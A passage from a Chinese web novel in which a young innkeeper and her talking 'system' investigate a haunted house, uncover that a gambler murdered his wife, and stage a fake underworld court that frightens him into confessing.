虽然在百膳楼没待多久,可他真舍不得这里,有吃又有喝,还有人玩,说一句人间天堂也不为过。
“那就不走呗。”
留下这个老头,以后百膳楼指定不会闹鬼。
“放心,我不留下,你这地方也不会闹鬼。”
来时他就看过了,百膳楼所在之地是块福地,鬼怪不会来的。
再说,世上无鬼,有的不过是人的怨念罢了。
“胡说,我是舍不得你。”
“呵呵!我谢谢你哦!”
“那到不必。”
老人走了,走时留给了沈秋吟三样东西——
桃木剑、大悲经,一封信。
并且,他还为她算了一卦,“三日后的午时,阳光最盛,是去百花胡同的好时候,记住,一定要拿上桃木剑,熟背大悲经,不要错过时间。还有,那封信一定要等姜泊清回来后才准打开!”
“为何要等姜泊清回来?”她不解。
这事儿莫非还与他有关联?
老人道:“有也没有。总之,天机不可泄露,你记住就好!”
“好吧!我记住了。”
“记住就行。”
音落,老人背着行李,提着食盒,没入了阳光里。
沈秋吟转身回到屋子里,二话不说拆开了信件,却见上面写着——
“老子就知道你记不住,特地留了一手。我告诉你哦,姜泊清一日不回,这封信就是废纸,想偷看,门都不给你留,哈哈哈,气死你。”
可恶,道高一尺,魔高一丈。
真是一个机灵的小老头子!
59. 事情不简单
三日后,沈秋吟背着桃木剑,拿着大悲经早早出了门。
系统透过她的眼,看了看还未亮透的天,“老头子不是说午时阳光最盛,是去百花胡同的最好时机么?你这……是不是去的太早了一点?”
“早?可不早!”
“嗯?”系统不明白。
“你等下就知道了!”
系统愣愣地,直到,沈秋吟颤巍巍地迈出了脚,以蜗牛的速度行走时,它懂了她那句话是何意。
以她的速度,这样早出门,它都怕错过了午时。
“你要不要这样呀?”系统问。
沈秋吟道:“我害怕,靠得越近我越怕。”
“可现在距百花胡同还有十万八千里呢!用不着这样抖吧!”
她那腿,都快抖成筛子了。
沈秋吟苦着一张脸道:“我也不想的,可控制不住。”
额……这……还能怎么办?由她去吧!
天亮之时,沈秋吟连三分之一的路程都还没走到,系统粗粗一算,准得错过。
它好心提醒道:“在这样下去,你估计得丧命了。”
“别这样。”
换作从前,她或许就摆烂了,可现在,这个世界上有姜泊清,还有百膳楼的小二们,她舍不得离开,她开始眷恋这个世界,想要好好活下去。
“那就快些,不要耗时间了。”
“我也想,但真做不到。”
她怕鬼,怕得要死。中式恐怖一出场,便是一场无人生还。
你想一下宽阔的大道上突然出现一顶红轿子,倏然大雾四起,从四面八方传来幽怨的声音。
又或是半明半昧时风起,卷帘嗒嗒作响时忽见一双绣花鞋,铜镜里那帘子若有若无,处处都是阴森诡异,恐怖森然。
沈秋吟还要想,系统出声打断:“她已经是个死人了,不会出现你想的这些,你以为是新嫁娘,鬼公主吗?还有!世界上没有鬼,没有鬼。”
“万一呢?”她弱弱道。
万一就出现了她想的那些,万一就……
“没有万一。”系统斩钉截铁。
“可我……还是怕!”
对鬼的恐惧那是刻进骨子里的,一时半会儿根本改不了,即使系统已经强调了千百遍,世上没有鬼,只有人的怨念。
系统没招了,放任她自流,有气无力说:“那还是等死吧!”
反正现在摆在她面前就两条路,要么去百花胡同一探究竟,要么即可毙命,烟消云散,就看她如何决定了。
压力之下,沈秋吟心一横,“去百花胡同也是一死,不去也是一死,要不就听你的,安静的等死?”
“淦!”系统无语了,气得电音都出来了,滋滋作响,“我……我……,丫的,我想一巴掌拍死你。”
它那是以退为进呀,没想让她真等死!
宿主长了一张樱桃似的嘴,咋说出来的话就不甜呢?
系统想不明白。
沈秋吟见它真气急了,笑道:“开个玩笑啦!”
去百花胡同,还有一线生机,就这样算了,必死无疑,她不想就这样了却生命。
“一点也不好笑。”系统恶狠狠说。
沈秋吟:“嘿嘿。”
接下来,她的步伐虽还是慢,但同之前相比,也可用“飞速”二字形容了。
系统暗自算了算时间,依她现在的速度,不会错过午时,当即松了口气。
好不容易将她弄到这个世界,系统比谁都不希望她死去。
她是它的宿主,它希望在这个世界里,她可以得到圆满。
临近午时,沈秋吟到达百花胡同。
昔日繁荣的巷子,如今只剩断壁残垣,看不出原来的样子。
那场大火带走了许多东西,亲人的欢笑,情人的呢喃,老人的叮嘱……
大火无情,生命可贵。
唏嘘之感,如一团无形的线,缠绕着她,憋得她喘不过气来。
“快进去了。”系统催促道。
“知道……了。”
她如一只乌龟,缓缓迈出一只脚,还未落地,便被突如其来的风吓得收了脚,紧紧抱着老人留下的桃木剑缩成了一团。
“我……后背发凉!”她闭着眼不敢睁开,“就像有……什么东西在背后似的。”
她又往后缩了缩,像一只落水狗,可怜兮兮的。
“别自己吓唬自己。什么都没有。快点,午时要到了。”
午时要到了,错过了午时,就错过了最佳时机。
已经到这儿了,难道还静等死亡吗?
不要!这不是她要结局。
沈秋吟咬着唇,握紧木剑的手动了动,一股豁出去的劲儿充盈全身,她缓缓站了起来,睁开了眼。
大风还在呜呜的吹,地缝里,那才冒出头的绿意折弯了腰,却不肯屈服,与命运做着斗争。
“宿主,加油!”系统为她打气。
“好,加油!”
音落,沈秋吟冲了进去,一时间猫啼之声响起,凄凉、悲苦,好似人世间最凄惨的事儿都在这声音里,无形的东西落在了她的身旁,阴飕飕的触感围绕身侧,就像迷路的那一夜。
明明是青天白日,却凉得人头皮发麻,如坠冰窖,百花胡同,当真邪门。
沈秋吟因害怕而念起大悲经。
梵语自她嘴里出,一字一句,仿佛如有金光,四周突然就暖和了起来,她的心也逐渐平静。
一缕阳光落了下来,拉长了她的影子,她停了下来。
“林小娘子从前的家就在前头。”系统说。
沈秋吟望去,前头立起来了一间屋子,虽然破败,但能遮风挡雨,与四周格格不入。
“百花胡同都被烧了,林小娘子的家居然没被烧?”
还说世上没有鬼,只有人的怨念,这分明就是灵异事件了呀!
她觉着自己又要颤抖了。
“别乱想,”系统出声阻止她肆意横飞的思绪,“这是她相公重修的,说是为了让她三冬暖、夏日凉、不被雨淋、不被雪盖。百姓称之为,深情的典范。”
“若真如此,她这相公,的确深情。”
可沈秋吟总觉得哪里怪怪的?
“进去再想,马上午时了。”
午时!可不能错过,沈秋吟小跑一阵,准点进了林小娘子的宅子,却被眼前之景,吓得毛骨悚然。
蛛丝结网,蚊虫嘤嘤,满屋黄符,
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迎风而起,仿若进了道观之中。
“错!”系统出声。
“嗯?”
“这里的黄符可比道观多多了。”
多得系统都以为捅了黄符的窝了。
沈秋吟反而淡定了下来,眼眸看向了大堂。
大堂之上,香火氤氲,白色烟火袅袅升起,遮挡了牌位,朦朦胧胧,让人瞧不清楚。
沈秋吟向前走了两步,牌位上的字清晰了起来,上写着——
爱妻林氏之墓。
旁边的两块小牌位上还用小字写着林小娘子与他相公相知相守的过程。
沈秋吟初初看了一遍,从字里行间里都能看出两人多么恩爱,但唯一不对的便是,所有字都是用朱砂写成。
“朱砂……!谁家好人用朱砂写牌位呀?不都是用墨笔吗?这……”
剩下的话沈秋吟不敢说,她怀疑这是一场恩爱的骗局,就如濮阳曾经发生过的一个惨案一样——
丈夫为了几两碎银杀了妻子,却要装□□妻。
系统也是一愣:“朱砂向来都是用来镇鬼,除非——”
音落的那一瞬,突然狂风大作,吹得屋子里的东西四处横飞,沈秋吟吓得跑到了门口,紧紧抱住斩鬼的桃木剑,嘴里念着——
“我是好人,我是好人……”
系统忙道:“只是一场风……世上没有鬼……”
却在这时,叮铃铃的响声从四面八方传来,仿若来自地府深处的哀嚎,沈秋吟吓得已然失神,桃木剑直接落在了地上,发出“啪”的一声。
系统也被吓出了电音!
丫的,它觉得世界上有鬼。
沈秋吟缩成了一团,根本不敢动,等死吧,直接等死吧,这任务她完成不了了。
系统默念不能慌,不能慌,嘻嘻,一定要嘻嘻,身为系统,可不能丢主神的脸。
如此念了一会儿后,系统镇定了起来,借过宿主的神识四处张望,终于把声音的来源锁定在了牌位上,却是愣了愣,惊道:“宿……宿主,你看那儿!”
“我不看!”沈秋吟将眼睛闭得更紧,生怕有一丝光进入眼底。
与其见着鬼,不如将自己留在黑暗里。
“不是鬼……”
“我不信。”
“真的,不骗你,骗你我是狗,天天汪汪叫。”
系统都承认它是狗了,那就看一眼吧。
她缓缓睁开眼,入眼便是牌位旁两条堪比成年男子小臂粗的铁链子。
顺着铁链子向上,可以看到被牢牢锁住的牌位。
这让她想到了缠绕在墙上的藤蔓,看似渺小,却能将整个墙面都摧毁。
正常人谁会用铁链锁牌位,这哪里是爱妻呀?分明是想把谁的魂魄压在这儿,永世不得超生。
一瞬间,沈秋吟头皮发麻。
她觉得自己找到了什么见不得人的真相,譬如林小娘子或许真的是被谋杀。
所以,那把火会不会也是人为?
想到这儿,沈秋吟后背凉凉的,整个人都失去了颜色,嘴唇更是苍白得瘆人。
她木楞愣道:“统……我感觉事情没有那么简单——”
系统同样震惊道:“我也觉得……”
60. 你怎么在这儿?
沈秋吟被眼前这一幕刺得久久不能回神,脑海里尽是话本子里所写的薄情寡义之人,杀妻灭尸之徒。
艺术来源于生活,初读还笑执笔人夸张,可见了这场面,才发现书中所写,还是不够真实。
现实里的男人只会比纸片人更狠,杀了还不作数,还要叫女子的灵魂也不得安宁,重新做人都是奢望。
狠,真狠,令沈秋吟心尖一颤,久久说不出话来。
系统也是一阵唏嘘。
一人一统就这样愣在那里,恶寒横生。
屋子阴了几分。
恍恍惚惚间沈秋吟见那牌位忽然动了起来,有什么东西破土而出,仔细一瞧,竟是一阵烟雾。
可这烟雾古怪得很,分毫不散,全聚在了一块,渐渐凝结成了人的模样。
沈秋吟因惊恐瞳孔微张,连呼吸也弱了几分。
那白烟眨眼散去,露出透明的魂魄来,竟然是一女子,长发散落,遮住了双耳,一张脸煞白,像是抹了好几层粉似的。
定睛一看,还能发现一条狰狞的长疤,将一张好看的脸分成了两半。
沈秋吟心中冒出一个念头,这人莫不是被劈死的。
妈耶……想想就害怕,沈秋吟赶忙拉回自己的思绪。
而这时,烟雾化成的女子直勾勾盯着她,一双眼红通通的,像夜半时分挂在屋檐下照明用的红灯笼。
四周弥漫着阴森,女子竟然开口,哀哀戚戚道:“我死得好惨,我死得好惨……”
空灵的声音被风声放大,充斥了整个屋子,仿佛从四面八方传来一样,犹如什么古老的魔咒。
沈秋吟已然被眼前画面吓住,白着一张小脸,全身颤抖着,无言道:“鬼啊,鬼啊……”
系统见此,赶忙唤道:“醒醒,醒醒,别陷进去了!”
可沈秋吟哪里还听得到它的话,她已经陷进了恐惧中,抜都抜不出来。
系统久唤宿主没应,急道:“沈秋吟,你银子被偷了!”
这一声仿佛挑破了她脑中的某根弦,“铮”的一声令她突然抽身,离去的魂魄归体,一下子有了神,猛得就叫了出来:“鬼啊,鬼啊——”
系统都来不急问上一句哪里有鬼,便被宿主的尖叫声震得滋滋作响,无奈下线。
走时还不忘想,女人的声音,果真能穿破云霄。
沈秋吟再也无法待在这屋子待下去,连连后退想要离去,却在退至门槛时忽然撞上一堵又硬又烫的东西。
像墙,又不似墙,难道是鬼打墙?
念头一生,一时间叫声震得房上之梁都出了裂痕。
她蹲了下去,缩成一团,不敢再动,脑中一片空白,心中只有一个念头,今日得交代在这里了,于是叫得更厉害了。
鬼哭狼嚎,虎啸猿啼。
下线的系统被她的叫声震得忍无可忍,调动全身力气,吼道:“别叫了,是姜泊清。”
嗯——
姜泊清!
沈秋吟停了下来,问道:“你说什么?”
系统重复一遍:“是姜泊清。”
她站起来,缓缓回过头,瞧见眼前人捂着耳朵,皱着眉头。
那眉眼,那鼻子,那嘴巴,不是姜泊清还能是谁?
呜呜,亲人!
沈秋吟扑了上去,紧紧抱着他,热泪盈眶。
有他在,死也有个垫背的了,真好。
姜泊清低头看着怀中的小姑娘,呆了一下,没想到她会在这里,好一会儿后才回过神来,安慰她:“没事,没事啊。”
沈秋吟缓了过来,抬头看他,两人四目相对,双双迟疑了一瞬,而后异口同声道:“你怎么在这儿?”
“捉鬼!”
“破案!”
这——
却不等将前因后果说个明白,那牌位上的铁链子又嗒嗒嗒地响了起来,霎时间风声四起,黄符被吹得四处散落,他们被迫低下了头,遮挡飞来的黄符。
而在这时,铁链子似乎有了生命,竟向他们打来,众人皆是一惧,连躲闪都忘了,直勾勾看着那袭来的链子。
等回过神时,已然来不及了。
这回不止她要将命殒在这里了,姜泊清也要。
可姜泊清却不这样想,只见他一把拉过沈秋吟,把她护在怀中,将自己的后背留给飞来的铁链。
一人死而一人生,划算。
“姜泊清——”
堪比小臂粗的铁链打在肉身之上,定是会要掉半条命的,沈秋吟挣扎着要推开他。
姜泊清抱得越发紧,显然是要护她周全。
千钧一发之际,系统喊道:“快用桃木剑。”
说时迟,那时快,沈秋吟以全力挣脱他的钳制,手持桃木剑迎了上去。
只见一道残影在空中划过,刹那间火光四溅,锁着牌位的铁链被劈成了两段,桃木剑也成了两半。
铁链落地,风停,符止,牌裂,只见一缕青烟消失在空中。
这一刻,暖阳照进了屋子里,阴暗的屋子亮了起来,凉意消散,有了热意,沈秋吟盯着碎成两半的木剑,脑海里响起了女子轻柔的声音。
像是幻听一般,她听见那声音说——
终于,解脱了。
沈秋吟一颤,稳不住身形,幸好姜泊清眼疾手快将她扶住。
“沈秋吟——”他唤道。
她却没有反应,眼神空洞,恍若失魂的样子,他赶忙叫道:“找大夫。”
音未落,沈秋吟便昏了过去。
梦里光怪陆离了好一阵,她才慢慢瞧清了四周的景物。
这是一座敞亮的屋子。
屏风后,一女子正对镜梳妆。
柔荑细手,不一会儿就勾勒出了长眉,令人感叹手之灵巧。
沈秋吟看着这倩影,心下好奇,便悄悄地走了过去,透过铜镜看清了女子的面容——
凤眼、朱唇、窄面……
是林小娘子。
即使在梦中,沈秋吟也止不住心颤,这可是现实里将她吓得连魂都没了的罪魁祸首,怎得又来她梦里了。
咋滴?没完没了了是吧!
真烦人。
不过,既知是自己的梦,沈秋吟的惧怕倒是少了不少。
她对着林小娘子虚打了一阵,出了口恶气后,倒也消了怒气,便绕过屏风,走了出来,坐在了一把檀木椅子上打量起屋子来。
瞧着那堂上的花与角落里搁置的画,一股熟悉感扑面而来,又看着屏风上倒映出的林小娘子对镜帖花黄的影子,忽得一激灵——
这里莫不就是被火烧前林小娘子与其夫住的屋子,也是后头她夫君重新修缮,供奉她牌位的屋子?
我去!
想着在这屋子发生的一切,尤其是黄符、铁链,沈秋吟鸡皮疙瘩起了一层又一层。
晦气,真丫的晦气。
坐是坐不下去了,这屋子她一刻也不想待。
沈秋吟赶忙起来,抱紧自己的双臂往外跑,将到门口时,那木门“啪”的一声合在了一起。
她后退一步,这,这,这是怎么回事,咋还不让走?
她还没得及细想缘由,却听得一声凄厉的惨叫,是林小娘子的声音。
她蓦地回过头,画面就转到了屏风后,只见一男子手握菜刀将林小娘子生生劈成了两半。
人的骨头何其坚硬,而一人之力,却生劈两半,又是何等的仇恨激发出的力量。
沈秋吟惊得失声,呆在原地,不敢动弹一步,耳中充斥着男子癫
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狂的笑声。
“死了,终于死了,老子终于不用看你的脸色了。”
这是大仇得报后的快意。
后来,她看着男子将林小娘子分尸,埋在了院里的桂花树下,才惊觉这或许就是林小娘子之死。
不知过了多久,沈秋吟回过了神,男子已经处理好了一切,他烧掉了染血的衣服,抹掉了屋里的血,换上了一身青衣,恶魔又变成了儒雅公子,只是他为何腰间戴着黄符?
是怕吗?
沈秋吟看着那道黄符,朱砂所绘,叠成小小的一个,紧紧地系在他的袍子上。
好眼熟的图案,她似乎在哪里见过。
沈秋吟凝思片刻,好像……好像是章丘请回的老道所画。
这——
沈秋吟正欲上前仔细看看,却在这时,门响了,门外响起了问候声——
“李兄,在否?”
李青成匆匆忙忙打开门,又合上门。
门外公子道:“我登门而来,李兄都不请我进去坐坐吗?”
李青成道:“不是不肯,实在是娘子身体抱恙,小憩中。若将她吵醒,可有得我受了,我请莫兄外面喝茶。”
被唤做莫兄的男子朗声一笑,打趣道他是个怕娘子的,便就跟着他离去。
等他们离开不久,四周便燃起了火,将百花胡同刹那烧成废墟。
痛失亲人的百姓哭得撕心裂肺,唯有李青成松了口气,甚至还无声言了一句——天助我也。
熊熊大火燃烧,吞噬了一切,这一刻,林小娘子之死完成了闭环,李青成杀人在前,火是意外。
而老道在其中又扮演了怎样的角色呢?
他与李青成认识?还是主顾关系?又或者他也参与其中?
沈秋吟想将其中联系理清楚,却忽地头痛欲裂,在梦中晕了过去。
而现实里,她猛地睁开眼睛,入眼就见一老头子拿着泛光的银针要往她头上扎,她吓了一跳,赶忙伸手制止,将众人惊地围了过来。
拿针的老头子更是连连后退:“丫的,诈尸呀,吓死个人。”
“你才诈尸呢!”沈秋吟坐了起来,“我只是睡了,又不是死了。”
说人诈尸,这不是妥妥的诅咒么!
她欲下床,姜泊清赶忙叫道:“别动,小心半身不遂。”
沈秋吟一听,慌了,“当、当……真?”
“自然是真的。”
沈秋吟不敢再动,眼珠子向上一瞟,这才发现,自己的头上扎满了银针。
难怪梦中忽然头痛欲裂,原是如此。
只是,这是为何?
姜泊清像看穿了她心思一般,解释道:“你在破屋晕了过去,药石无用,便只能请医者扎针。”
“他说得没错。”一旁的老头子附和道。
“那能取了吗?”沈秋吟眼巴巴地看着他,“我怕半身不遂。”
“自然能。”
老头子走了上来,将她头上的针一一取下,沈秋吟这才敢动弹,活动自己麻木的腰与双手,并劫后余生般笑道:“幸好命大。”
“是啊,幸好命大。”
姜泊清的声音冷冷的,令沈秋吟心头一紧,她转过头一瞧,果然见他沉着一张脸。
预感大事不妙,她讨好地笑道:“你这是怎么了?怎的如此大的火气。”
姜泊清没搭理她,令众人将医者送出门。
等他们都走远了,姜泊清才开始与她算账。
“怎么会跑到百花胡同去?”他问。
天知道在那破屋子里看见沈秋吟时,他有多惊恐,担心、害怕都要溢出来了。
沈秋吟如实回:“捉鬼。”
姜泊清蹙起了眉头,“你这又是唱哪一出?”
61. 好戏登场
“嗯……此事说来话长。”她自己也没理出一个完整的头绪来,不晓得该怎么讲给他听。
“那就长话短说。”总之一定要说。
“当真要说吗?”沈秋吟有些犹豫,担心说出来他会被吓死。
“你觉得呢?”姜泊清的眼神压来,沈秋吟缩了缩脖子。
他讲:“好好一个人跑去那鬼地方,不说个所以然来,可能吗?”
反正,他一定要听她说个所以然来。
“那好吧。”沈秋吟晓得,蒙混不过去,只能认命。
她将故事娓娓道来,省略了系统,只说是做了一场梦,心生好奇,便去了百花胡同一探究竟。
“梦?”姜泊清蹙眉,眼中写满了“荒唐”,将“不相信”表现得淋漓尽致。
沈秋吟知道没有说服力,默默举起了自己的右手,发誓道:“信我,没骗你。”
她神色真挚,不似说谎。
系统却在这时来了一句:“说这话你是真不怕天打五雷轰呀。”
“额……”她有些无语。
接着用心声回它,“你不说话,没人当你是哑巴。”
“咱就说究竟是为什么去百花胡同你不清楚?”
清楚?
她肯定是清清楚楚、明明白白。
为什么去百花胡同?
那是系统的压迫,性命的威胁……
她像极了一个打工人,充满了底层人无法反抗的辛酸与苦楚。
如果可以,她好想……
“停!停!停!戏多了。”
“我这叫感情丰富!”
“切。”系统冷哼一声。
沈秋吟恶狠狠道:“我倒是敢把真相说出来,就不知道你怕不怕!”
“怕?”系统的声音陡然抬高,沈秋吟以为她要说出什么震聋她的耳朵的话来,它却焉了下去,“我当然怕啦。”
统界有规矩,不能暴露,只能宿主知晓,否则惩罚不详。
这次换来沈秋吟一声“切”。
姜泊清瞧着她那双清澈明亮的眼,里面除了透露出丝丝傻里傻气外,啥也没有,他……竟然觉得有可能。
沈秋吟的脑子和普通人不一样,这事儿要是普通人说,他只当他在搞笑,若是她说,没准儿还真有可能。
所以,这个话题还是跳过吧。
他敛去压迫的气息,继续问:“老道是怎么回事?”
“老道?你怎么知道老道?”她似乎还没有与他说过老道吧?
“章丘说的。”姜泊清答。
“章丘?”
“满院子断成了两半的石块,你觉得我不会问上一句?”
这样一说,沈秋吟就明白了,应当是姜泊清抱着昏迷的她回百膳楼,路过院子时瞧见了断成两半的石块,便问了章丘是怎么一回事,章丘自然照实说,他也就知道了老道。
“所以……”
还不待姜泊清说完,沈秋吟一拍巴掌,想起了什么,拉着姜泊清朝堂里走。
“你不提他我都忘了,那老道给你留了一封信。’”
沈秋吟将信拿出去,递给他。
姜泊清打开一瞧,一片空白。
沈秋吟讲:“老道说只有你能看。”
姜泊清拿起信闻了闻,对沈秋道:“点盏灯来。”
“好。”
沈秋吟动作迅速,很快拿来一盏灯,姜泊清小心翼翼地拿着白纸放在火上炙烤,片刻后,黑漆漆的字显现出来。
“丫的,难怪我看不到,原来他用了特殊的墨,火烤才会出现。”
可恶,她当时没想到这层,被那老道装到了。
“没关系,你现在也能看。”姜泊清揉了揉她的脑袋,将信递上去。
两人挨着头看,看完后却久久没能言语。
老道果真与李青成有联系,而百花胡同里,镇压林小娘的法阵也是由他所做。
他信中言:“初初下山,不识人间险恶。李青成惯会伪装,受他蒙骗,以为林小娘子真是恶徒,故设法阵,压她不得超生,还赠一符,保他百鬼不侵。后经人言,行占卜术后,乃知真相,然恶以酿成,别无他法,痛心之余,后悔之际,咋见转机,故有了百膳楼一行……言及此处,想必姜大人已然明了。吾酿成大祸,本该自首,然道门有祸,不得以先行,待吾将祸除,自见姜大人……”
沉默过后,沈秋吟率先开口道:“说出来你可能不相信,我昏迷时瞧见了李青成怎么杀的林小娘子。”
“怎么杀的?”姜泊清问。
“刀……刀劈的。”她如今忆起那一幕还觉瘆人。
姜泊清一点也不惊讶,很是平静地回了他三个字:“我知道。”
“你……你怎么知道?”沈秋吟惊了。
姜泊清道:“我若不知,怎么会去查案?”
“你还知道什么?”沈秋吟追问。
他答:“李青成杀人的整个过程。”
沈秋吟瞪大了眼睛,“你、你、你……怎么查的?”
证据链缺失,几乎死无对证,此等隐秘之事,他怎么可能知道。
姜泊清一笑:“林婆子说的……”
那日张圭玉昏迷,回去途中,林婆子拦他去路,说林小娘托梦,她当真不是被火烧死的。
林婆子是张圭玉的噩梦,不除此事,张圭玉一辈子也甭想得个太平,因此姜泊清听她神神叨叨说完了那场梦。
听完后,他也有了思绪,命人去查李青成买没买过刀。
没几日,属下来报,买过。
姜泊清直觉这事不简单,也就有了外出办案,回来在百花胡同遇见沈秋吟这事儿。
沈秋吟知道了前因后果,急慌慌道:“既如此,为何不拿李青成归案?”
姜泊清遗憾地答:“死无对证。”
“确实,林小娘连尸体都没了,”这无疑加重了办案的难度,“可是,我们可以让他自己招供。”
沈秋吟眼冒星光地看着姜泊清,“咱给他整上一出好戏。”
濮阳城近日又热闹了,众人都在讲一个神奇的道观。
“我跟你说,那个道观是真玄乎,特别是晚上,我看到了真钟馗踩小人,还有黑白无常拘人鬼魂……”茶摊上一男子神叨叨对旁边人讲。
旁边人自然不信,说道:“你眼花了,这世界没有鬼。”
“我就知道你不信。咱不说别的,你与我一去便知我是否说谎!”
“这……”旁边人迟疑。
“莫不是不敢?”男子激他。
“嗯……”旁边人双手握拳,下定了决心,“去就去,这有什么?”
两人勾肩搭背离开。
坐在一旁的李青成紧握着腰间黄符,神思不明,最后如同被什么东西魇住了,竟然跌跌撞撞离开了茶摊。
远在一旁的巷子里,看着李青成离去,沈秋吟一脸满意,颇有几分计谋得逞的快意。
章丘却道:“掌柜的,我觉得有点假!”
那两人的对话假,道观的传说假,编排的话术假,哪哪儿都假。
这么假的伎俩,那李青成当真会上钩。
“的确假呀!”沈秋吟很肯定道。
“那为何……”章丘不明白了。
“心里头无鬼的人自然觉着假,可心里头有鬼,那就不好说了。”
话说李青成离开了茶摊,本想去城外颇灵的一个佛寺上香,哪知半路却被好友拦住,非拉着他去新开的赌场玩玩。
自林小娘去后,李青成再也没踏足过着腌臜地儿了,此番被他一撺掇,来了兴致,便随他去了。
不过再踏足前,却是嘱咐好友道:“莫传出去了。”
好友一副我懂的样子:“咱还是老规矩,你大孝子的人设不会倒的。”
李青成这才放下心,进了赌场大赌特赌,最后输光了钱财,杀红了眼才出来。
他本想这般回家,好友却不放,又拉着他吃酒,足足闹到半夜,两人才醉醺醺地离开酒楼,往家去。
可奇怪的事发生了,往日不足半刻便能到家,今日足足走了一刻,连家的影子也没见着,反倒是……越来越偏。
不对不对,李青成醒了几分酒,仔细看四周,拍了拍醉醺醺的好友说:“我们是不是走错了?这不像是去我家的路。”
好友抬眸看了两眼,说道:“你糊涂了,就是这条路,再往前走就到。”
“当真吗?”李青成还心存几分疑惑。
好友一手揽着他的肩,一手拍着胸脯道:“听我的,不会有错。”
李青成一手扶他,一手扶墙,两人继续往前走。不一会儿突然生出了大雾,一个像道观,又不似道观的东西出现在他面前。
白日茶摊上那两人的对话如同洪水猛兽,一股劲儿往他脑子里钻。
真钟馗踩小鬼!
黑白无常拘魂!
一座……道观!
莫非就是眼前!
万一,万一里头有林小娘子的银魂呢!
李青成被吓得醒了酒,拔腿想跑,那好友忽然变了型,一把抓住他的腿,他仔细一看,竟然是牛头!
乖乖,这不是阴曹地府才有的玩意儿吗!
李青成惊叫出了声,牛头道:“来都来了,想走没那么容易,大胆小鬼,还不随我进观,接受审判。”
一时间,阴森森的骇人声音从四面八方传来,李青成被吓晕了过去。
再醒来时,他已经身处所谓“道观”之中,钟馗大人坐在上首,黑白无常一左一右,站在他身后,牛头马面正押着他等着候审。
只听惊堂木一拍,那坐着的钟馗说:“罪犯李青成,你被逮捕了,还不如实将所犯罪孽招来!”
李青成吓得屁滚尿流,大喊道:“钟馗大人,我错了,我不该杀人,不杀人……”
黑白无常同时开口:“招来,招来……”
李青成不敢造次,也不敢有所隐瞒,一股脑全招了。
在未与那林小娘子成婚前,他就是个赌鬼,嗜赌成性,赚几分银子,赌几分钱。
可十赌九输,他不光一分未赢,还倒欠了赌坊几百两银子。
他老爹老娘
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得知了这事儿,直接不认他这个儿子,带着行李,连夜离开濮阳,不知了去处。
他走投无路之时,听到初来濮阳,做布匹买卖的林婆子要为女儿招上门女婿,便起了心思。
经过他多番打听,这林婆子早年丧夫,膝下只有一女,百般疼爱,布匹生意,也是做得如火如荼,小有积蓄。
他想,若他做成了上门女婿,那些积蓄他就能占为己有,既还清了赌债,又得一位美娇娘,何乐而不为?
于是,他就创造机会,有意无意接触林婆子,还常在林小娘子面前出现,扮作温柔体人。
林小娘子一个闺阁女子,没见过多少男人,他不过略是小计,就将她拿下,闹得此生非他不嫁。
林婆子尊重闺女的选择,但也派人做了一番背调,他虽赌,但名声没传出去,除了赌坊与好友,知道的人并不多,再加上宁拆十座庙,不破一桩婚,所以大家几乎都说好话。
而赌坊里的人想着他还钱,所以把他赌博的事儿,说成了在赌坊干活的事儿。
如此,林婆子也松了口,答应了他们事儿,此后他就做了林家的上门女婿。
原以为婚后他就有花不完的钱,哪曾想林婆子心眼多,教导林小娘子每月只给他一两银子做零用,多的再也没有了。
一两银子哪里够还赌债!
他没办法,只能打其他主意,譬如说偷钱!
林小娘子有个习惯,喜欢将银钱贴身放在,是以每回欢好时,他都用了蛮力,等她累的睡着时,就偷摸拿一两张,如此也还上了赌债,避免了被赌坊的人砍手。
可渐渐地,林小娘子发现了不对劲儿,银票怎么对也对不上,怀疑上了他。
他自然不承认,却在有一次逮住了现行,同时晓得了他的本性,失望之余,也发了好大一通火。
李青成本以为完都完了,哪知这姑娘是个好面子的,在外把他神化了,说他这好哪好,如今发现真相,害怕闹出去挂不住脸,便瞒下了这事儿。
“既如此,你为何要杀他?”钟馗发问道。
李青成恶狠狠说:“因为他对我动辄打骂!”
真相暴露后,林小娘子就像换了一个人一样,脾气恶劣、暴躁,动不动就打他,骂他,似想出了被蒙骗的恶气。
李青成还惦记着她那点银钱,所以不敢还手,任她欺凌。
又因着林小娘子打他时,不避人,所以她善妒、骄纵,仗着有几个钱就欺负人的名声就传了出去,而他作为被打的那个,人人都可怜他,却也没人劝过。
林婆子偏颇女儿,虽不知究竟发生了什么,但她觉得女儿打他是有原因的,所以时常教女儿怎么打人更疼,还不伤要害。
终于有一次,林小娘子发脾气,口不择言,戳中了他的痛处,他便起了杀心,买了砍骨的刀,将她分了尸。
做完这些事,他竟然一点也不害怕,甚至和一位好友如往常去游玩。
也是那场游玩,让他捡回了一条命。
突如其来的一场火,把百花胡同全烧了,所有都化成了灰烬。
他惋惜家当的同时也喜不自胜,因为人人都晓得林小娘子是烧死的了,他就没有了杀人的嫌疑。
林婆子失去女儿卧病不起,他惦记着布匹生意,便装作孝子,尽心伺候,但林婆子不拿他当人,也是动辄打骂,甚至还一口咬定火是他放的,她女儿是被他害死的。
这样的话,自然没人信,旁人都一位她疯了,哪层想她不依不饶,还报了大理寺。
大理寺的衙役直接将他逮捕入狱,就在他以为完了时,却又被无罪释放,种种迹象表明,那火与他没关系。
林婆子却不相信,嚷嚷着她女儿托梦,就是他害死了她。
从前这话没人,如今更没人信了。
他自觉高枕无忧,这辈子都没人晓得他杀了人。
说到这里,李青成突然疯狂了:“你们晓得她死得样子有多丑吗?生生被我劈成了两半……”
钟馗拍了惊堂木,大喊:“肃静!”
接着又问:“你既杀了她,为何还要镇她的婚,让她无法转世!”
李青成又继续说。
他本是个不信鬼神的人,但不知从那天晚上起,便噩梦不断,总见着林小娘子的鬼婚来找他索命。
秉着但宁可信其有,不可信其无,他害怕林小娘子真的阴魂不散,化作恶鬼,要找他复仇,便四处寻找道士。
濮阳城里的道士都是知根知底的,一用就会暴露,他要找的不是濮阳城里的。
大概寻寻觅觅了半个月,还真让他找到了。
那老道初来濮阳,钱被偷了,吃饭后没法结账,被小二逮住不让走,李青成替他付了钱,解了围,老道便当他是好人,主动说可替他办事。
李青成便将自己和林小娘子的事说与他听,其中过程,自然是美化了一番,反正最后老道信了林小娘子是恶人,替他在百花胡同设下了镇魂法阵,还给了一张百鬼不侵的黄符。
如此,便彻彻底底断了她的生路……
而这也是事情的始末。
62. 娶我
躲在暗处的林婆子双目赤红,整个人都在颤抖,她再也忍不住满腔恨意,冲出去给了李青成几个响亮的巴掌。
李青成懵懵地看着她,正支支吾吾说着她怎么在这儿时,道观忽然亮了起来。
